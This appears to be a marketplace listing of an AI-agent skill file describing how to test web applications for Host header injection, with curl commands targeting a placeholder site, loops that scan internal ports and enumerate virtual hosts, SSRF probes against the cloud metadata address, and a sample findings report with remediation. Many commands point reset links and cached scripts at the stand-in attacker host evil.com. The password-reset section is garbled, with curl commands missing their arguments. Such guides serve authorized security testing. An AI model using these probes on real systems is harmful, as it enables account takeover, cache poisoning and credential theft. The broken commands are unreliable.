testing-for-host-header-injection

Test web applications for HTTP Host header injection vulnerabilities to identify password reset poisoning, web cache poisoning, SSRF, and virtual host routing manipulation risks.

Ir para a instalação

Repositório: AgentFlocks/flocks
Última atividade na origem: 5 de maio de 2026 às 05:45
Idioma detectado do SKILL.md: inglês
Estrelas: 445
Forks: 83

Opções de instalação

Por padrão, está selecionado o prompt que primeiro revisa a origem. Você pode mudar para um comando direto ou baixar uma cópia local.

Revise os arquivos de origem

Leia o SKILL.md e os arquivos complementares exibidos pelo SkillsMP antes de decidir se vai instalar.

Voltar à pesquisa Voltar à instalação

name	testing-for-host-header-injection
description	Test web applications for HTTP Host header injection vulnerabilities to identify password reset poisoning, web cache poisoning, SSRF, and virtual host routing manipulation risks.
domain	cybersecurity
subdomain	web-application-security
tags	["host-header-injection","password-reset-poisoning","cache-poisoning","virtual-host","web-security","header-manipulation","ssrf"]
version	1.0
author	mahipal
license	Apache-2.0
nist_csf	["PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01"]

Testing for Host Header Injection

When to Use

When testing password reset functionality for token theft via host manipulation
During assessment of web caching behavior influenced by Host header values
When testing virtual host routing and server-side request processing
During penetration testing of applications behind reverse proxies or load balancers
When evaluating SSRF potential through Host header manipulation

Prerequisites

Burp Suite for intercepting and modifying Host headers
Understanding of HTTP Host header role in virtual hosting and routing
Knowledge of alternative host headers (X-Forwarded-Host, X-Host, X-Original-URL)
Access to an attacker-controlled domain for receiving poisoned requests
Burp Collaborator or interact.sh for out-of-band detection
Multiple test accounts for password reset testing

Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.

Workflow

Step 1 — Test Basic Host Header Injection

# Supply arbitrary Host header
curl -H "Host: evil.com" http://target.com/ -v
# Check if application reflects evil.com in response

# Double Host header
curl -H "Host: target.com" -H "Host: evil.com" http://target.com/ -v

# Host header with port injection
curl -H "Host: target.com:evil.com" http://target.com/ -v
curl -H "Host: target.com:@evil.com" http://target.com/ -v

# Absolute URL with different Host
curl --request-target "http://target.com/" -H "Host: evil.com" http://target.com/ -v

# Check for different virtual host access
curl -H "Host: admin.target.com" http://target.com/ -v
curl -H "Host: internal.target.com" http://target.com/ -v
curl -H "Host: localhost" http://target.com/ -v

Step 2 — Test Password Reset Poisoning

# Trigger password reset with modified Host header

curl -X POST http://target.com/forgot-password \
  -H  \
  -d 




curl -X POST http://target.com/forgot-password \
  -H  \
  -d 


curl -X POST http://target.com/forgot-password \
  -H  \
  -d 


 header       ; 
  curl -X POST http://target.com/forgot-password \
    -H  \
    -d

# If caching layer uses URL (without Host) as cache key:
# Poison cache with modified Host header
curl -H "Host: evil.com" http://target.com/ -v
# If response is cached and contains evil.com links
# All subsequent users receive poisoned content

# Test with X-Forwarded-Host for cache poisoning
curl -H "X-Forwarded-Host: evil.com" http://target.com/login -v
# Check X-Cache header to see if response was cached

# Verify cache poisoning
curl http://target.com/login -v
# If response still contains evil.com, cache is poisoned

# Poison JavaScript URLs in cached pages
curl -H "X-Forwarded-Host: evil.com" http://target.com/
# If page loads: <script src="//evil.com/static/app.js">
# Attacker serves malicious JavaScript to all users

# Backend may use Host header to make internal requests
curl -H "Host: internal-api.target.local" http://target.com/api/proxy

# Access cloud metadata via Host header
curl -H "Host: 169.254.169.254" http://target.com/

# Internal port scanning
for port in 80 443 8080 8443 3000 5000 9200; do
  curl -H "Host: 127.0.0.1:$port" http://target.com/ -o /dev/null -w "%{http_code}" -s
  echo " - Port $port"
done

# SSRF via absolute URL
curl --request-target "http://internal-server/" -H "Host: internal-server" http://target.com/

# Enumerate virtual hosts
for vhost in admin staging dev test api internal backend; do
  status=$(curl -H "Host: $vhost.target.com" http://target.com/ -o /dev/null -w "%{http_code}" -s)
  size=$(curl -H "Host: $vhost.target.com" http://target.com/ -o /dev/null -w "%{size_download}" -s)
  echo "$vhost.target.com - Status: $status, Size: $size"
done

# Check default virtual host behavior
curl -H "Host: nonexistent.target.com" http://target.com/ -v
# Compare with legitimate host response

# Access internal admin panels via virtual host
curl -H "Host: admin" http://target.com/
curl -H "Host: management.internal" http://target.com/

# HTTP/1.1 connection reuse attack
# Send legitimate first request, then inject Host header on subsequent request
# Use Burp Repeater with "Update Content-Length" and manual Connection: keep-alive

# In Burp Repeater, send grouped request:
# Request 1 (legitimate):
# GET / HTTP/1.1
# Host: target.com
# Connection: keep-alive
#
# Request 2 (injected):
# GET /admin HTTP/1.1
# Host: internal.target.com

# Test with HTTP Request Smuggling combined
# If front-end validates Host but back-end doesn't:
# Smuggle request with modified Host header

Concept	Description
Host Header	HTTP header specifying the target virtual host for the request
Password Reset Poisoning	Injecting Host to make reset emails contain attacker-controlled URLs
Cache Poisoning via Host	Poisoning CDN cache with responses containing attacker-controlled host
Virtual Host Routing	Web server using Host header to route requests to different applications
X-Forwarded-Host	Alternative header used by proxies that may override Host header
Connection State Attack	Exploiting persistent connections to send requests with different Host values
Server-Side Host Resolution	Backend code using Host header for URL generation and redirects

Tool	Purpose
Burp Suite	HTTP proxy for Host header manipulation and analysis
Burp Collaborator	Out-of-band detection for Host header SSRF
ffuf	Virtual host brute-forcing with custom Host headers
gobuster vhost	Virtual host enumeration mode
Nuclei	Template-based scanning for Host header injection
param-miner	Burp extension for discovering unkeyed Host-related headers

## Host Header Injection Report
- **Target**: http://target.com
- **Reverse Proxy**: Nginx
- **Backend**: Apache/PHP

### Findings
| # | Technique | Header | Impact | Severity |
|---|-----------|--------|--------|----------|
| 1 | Password Reset Poisoning | Host: evil.com | Token theft | Critical |
| 2 | Cache Poisoning | X-Forwarded-Host: evil.com | Stored XSS | High |
| 3 | Virtual Host Access | Host: admin.target.com | Admin panel exposure | High |
| 4 | SSRF | Host: 169.254.169.254 | Metadata access | Critical |

### Remediation
- Validate Host header against a whitelist of expected values
- Do not use Host header for generating URLs in password reset emails
- Configure web server to reject requests with unrecognized Host values
- Set absolute URLs in application configuration instead of deriving from Host